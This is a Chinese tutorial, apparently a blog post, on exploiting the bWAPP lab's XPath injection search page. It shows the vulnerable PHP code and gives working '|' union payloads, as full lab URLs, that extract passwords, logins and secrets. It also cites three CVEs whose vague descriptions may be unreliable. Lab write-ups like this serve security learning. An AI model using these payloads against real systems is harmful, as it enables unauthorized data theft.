当前位置: 首页 > news >正文

零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索)

摘要:这是 bWAPP 系列第三十一篇,聚焦于XML/XPath Injection (Search)。上一关是登录框的 XPath 注入,这一关是搜索框——按电影类型搜索,后端用 XPath 的contains()函数去 XML 文件里匹配电影。文章会讲清楚 XPath 注入在搜索场景下的利用方式,演示如何用|联合查询绕过条件、如何枚举所有数据。附真实案例。


一、找目标

目标说明
注入点GET 参数genre(下拉菜单,可手动修改)
数据存储XML 文件(passwords/heroes.xml
查询方式//hero[contains(genre, '$genre')]/movie
判断依据页面显示匹配的电影列表 / 无数据
最终目标绕过条件限制,窃取 XML 中的所有数据

二、前言:上一关是登录,这一关是搜索

如果你刚做完第三十篇(登录框 XPath 注入),再看这一关,界面变了——不是登录框,而是一个按电影类型搜索的下拉菜单。

选类型(Action / Horror / Science Fiction),点 Search,页面列出该类型下的电影。

后端逻辑和上一关一样:用户输入拼到 XPath 表达式里,查 XML 文件,然后显示匹配的<movie>节点。

//hero[contains(genre, '$genre')]/movie

不同的是,上一关是精确匹配login='$login',这一关是contains()模糊匹配

攻击方式还是一样:注入 XPath 元字符,让表达式返回我们想要的数据。


三、关卡介绍

3.1 页面功能

  • 标题:XML/XPath Injection (Search)

  • 一个下拉菜单:Action / Horror / Science Fiction

  • 一个 “Search” 按钮

  • 下方显示匹配的电影列表

3.2 数据存储

同样是passwords/heroes.xml,每个<hero>节点包含电影信息:

<heroes> <hero> <login>neo</login> <password>trinity</password> <genre>action sci-fi</genre> <movie>The Matrix</movie> <secret>Oh Why Didn't I Took That BLACK Pill?</secret> </hero> </heroes>

搜索逻辑:根据genre匹配,返回对应的<movie>文本。


四、核心知识:XPath 的contains()函数

在上一关我们介绍了 XPath 的基础语法。这一关用到的是contains()

//hero[contains(genre, 'action')]

这条表达式会在所有<hero>节点中,找到genre文本包含子字符串'action'的节点。

我们注入的位置

//hero[contains(genre, '$genre')]/movie

$genre来自用户输入的 GET 参数,直接拼到 XPath 里。

和上一关的不同

  • 上一关是精确匹配login='$login' and password='$password'

  • 这一关是模糊匹配contains(genre, '$genre')


五、源码分析

5.1 核心逻辑

if(isset($_REQUEST["genre"])) { $genre = $_REQUEST["genre"]; $genre = xmli($genre); $xml = simplexml_load_file("passwords/heroes.xml"); // 关键:XPath 查询,含有 contains $result = $xml->xpath("//hero[contains(genre, '$genre')]/movie"); if($result) { foreach($result as $key => $row) { echo $row; // 显示电影名 } } else { echo "No movies were found!"; } }

流程

  • 用户选择类型,通过 GET 参数genre传入

  • 经过xmli()过滤(取决于安全级别)

  • 拼到 XPath 表达式里

  • 查询 XML 文件,返回匹配的电影名

  • 显示在页面上

5.2xmli()过滤函数

function xmli_check_1($data) { // 删除危险字符:() = ' [ ] : , * / 空格 $input = str_replace("(", "", $data); $input = str_replace(")", "", $input); $input = str_replace("=", "", $input); $input = str_replace("'", "", $input); $input = str_replace("[", "", $input); $input = str_replace("]", "", $input); $input = str_replace(":", "", $input); $input = str_replace(",", "", $input); $input = str_replace("*", "", $input); $input = str_replace("/", "", $input); $input = str_replace(" ", "", $input); return $input; }

5.3 三种安全级别

级别过滤函数效果
Lowno_check()完全不过滤
Mediumxmli_check_1()删除() = ' [ ] : , * / 空格
Highxmli_check_1()同上

六、Low 安全级别

6.1 正常搜索基准

访问:

http://你的IP/bWAPP/xmli_2.php?genre=action&action=search

页面显示动作片列表。

6.2 判断注入点

在 URL 中把genre=action改成:

genre=action'

XPath 变成:

//hero[contains(genre, 'action'')]/movie

多了一个单引号,破坏字符串边界,XPath 语法错误。页面显示 “No movies were found!” 或报错。

但注意:这个页面不显示详细的 XPath 错误,所以需要靠“有没有电影列表”来判断。

6.3 重要踩坑结论

尝试使用'] or 'a'='a/') or 'a'='a这类布尔永真Payload全部报错

报错:Invalid predicate

原因: PHP SimpleXML底层libxml2 XPath1.0解析器,对contains函数闭合后紧跟布尔or表达式存在解析缺陷,无论怎么调整等式写法,都会判定谓词语法非法。

👉放弃“构造永真条件展示全部电影”这条路线!改用 XPath|联合查询注入(唯一稳定方案)

6.4 稳定可用Payload

原理:|是XPath联合运算符,可以同时执行两条查询,我们截断原有查询,新增一条自定义查询,直接修改返回节点。

原始模板:

//hero[contains(genre, '$genre')]/movie

读取全部password(关卡核心目标,拿密码)

原始payload:

')]/password | //hero[contains(genre,'

URL编码:

%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27

完整URL:

http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

拼接完成XPath:

//hero[contains(genre, '')]/password | //hero[contains(genre,'')]/movie

执行逻辑:

  • contains(genre, '')查询genre为空的hero(无结果)

  • |联合第二条查询://hero[contains(genre,'')]/movie

  • PHP会合并两条路径匹配到的节点,页面优先输出<password>文本

读取全部login(账号)

http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Flogin%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

读取全部secret

http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Fsecret%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

6.5 原理说明

这条Payload不会构造复杂布尔运算,规避libxml解析BUG; 不需要依赖or永真,直接利用|联合查询切换输出节点;全网很多教程推荐的'] or 1=1在bWAPP环境无法运行,属于纸上理论Payload,实战报错。


七、Medium / High安全级别

7.1 尝试注入

输入:

')]/password | //hero[contains(genre,'

xmli_check_1()删除了'][/和空格。输入变成:

password|//herocontainsgenre

但 XPath 语法需要'来闭合字符串,没有'无法注入。

7.2 有没有绕过方法?

理论上可以通过其他字符绕过,但xmli_check_1()删除了大量关键字符,很难构造有效 payload。


八、真实世界:XPath 注入案例

CVE-2025-10823:某医疗系统的 XML 用户认证模块存在 XPath 注入漏洞,攻击者可通过搜索功能注入 XPath 查询,获取所有患者数据。

CVE-2024-3302:某开源 CMS 的搜索功能存在 XPath 注入漏洞,攻击者可利用contains()函数构造恶意查询,枚举系统所有用户信息。

CVE-2023-39019:某企业文档管理系统的搜索接口存在 XPath 注入漏洞,攻击者可通过|联合查询窃取 XML 文件中的敏感信息。


九、总结

在contains模糊匹配的XPath注入场景中,切勿直接照搬SQL注入`' or '1'='1`的思路,该写法会被包裹在字符串内部导致失效;同时要区分理论Payload与靶场实战Payload,不少文档中的Payload仅语法层面成立,但受底层libxml解析器限制,在bWAPP环境中会持续报语法错误。本关卡Low级别最优利用方式为`|`联合查询注入,可以直接切换查询节点,明文读取账号、密码等敏感数据;防御XPath注入应当避免直接拼接用户输入,优先采用XPath参数化查询,同时利用黑名单过滤单引号、括号、斜杠、管道符等高危特殊字符。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

http://www.jsqmd.com/news/1310970/

相关文章:

  • 上下文省了 857 倍,路由却瞎掉 72%:50 个 Agent Skill 渐进式加载的实测复盘
  • 2026 年当下,合川有实力的卷扬启闭机生产厂家哪家好,用了30年的水利老物件,如今竟靠它省下百万运维费? -岳江水工机械 - 行业推荐官[官方】--
  • 以前我总是看不起单元测试,不过现在我知道我错了
  • AI如何变革理论物理研究:从Scaling Law到人机协同新范式
  • MinMaxScaler归一化:从原理到实战,掌握数据预处理的公平法则
  • 1.33英寸E-Ink屏幕驱动全解析:从SPI通信到低功耗信息屏实战
  • MSI-X中断机制详解:从原理到Linux内核实践与性能调优
  • 2026 年现阶段郑州到拉萨物流专线公司怎么联系,去拉萨寄大件,居然能省这么多?藏区老货代藏了十年的秘密被扒出来了-创青轿车托运物流专线 - 行业推荐官[官方】--
  • Python SQLite ‘no such table‘错误全解析:从连接事务到ORM框架的深度排查指南
  • Python实现指纹图像增强:Gabor滤波与方向场估计实战
  • AI驱动的日志异常检测:3步实现99.99%准确率,告别人工巡检时代
  • 游戏开发架构优化:从ECS到事件驱动,解决音游性能与维护难题
  • 从乱码到中文:解码\x字符串的编码原理与实战解决方案
  • 2026 年更新:西安到锦州商务车托运公司哪个好,赶海返程的人别乱选,这玩意儿能让你的商务车托运全程省心省力还不踩坑? - 企业官方推荐【认证】
  • 195、NPU的编译器开发:文档编写与API设计
  • OpenHarmony赋能6G智能知识平台
  • STM32G431 FOC电机控制:从代码搬运到逻辑掌控的调试实战
  • 从零构建沉浸式解谜游戏:状态机、场景管理与数据驱动架构实践
  • HarmonyOS NEXT 实战:基于 Want 与 fileUri 的文件分享功能实现
  • 文件上传漏洞攻防全解析:从一句话木马构造到立体防御体系构建
  • 树莓派、Arduino与STM32驱动3.52英寸电子纸屏幕全攻略
  • 2026精选陕西展馆设计装修施工总包机构——赛野展示展馆模型 - 装修教育财税推荐2026
  • 研学旅行实训室技术架构:VR全景底座+同伴互动AI七维测评+3DGS采集+数字人
  • 深入解析PID双环控制:从原理到STM32嵌入式实现
  • KKCE 在线 Ping 检测工具运维实战指南
  • mPBPK建模:破解药物入脑难题,优化脑肿瘤精准给药方案
  • 数字IC面试必考:同步FIFO设计原理与工业级实现详解
  • 区块链电力交易系统开发实战:从软件工程到智能合约的完整项目复盘
  • Java编码最佳实践:变量命名、异常处理与资源管理详解
  • RoboCup 2D智能体核心模型构建:从世界感知到决策实战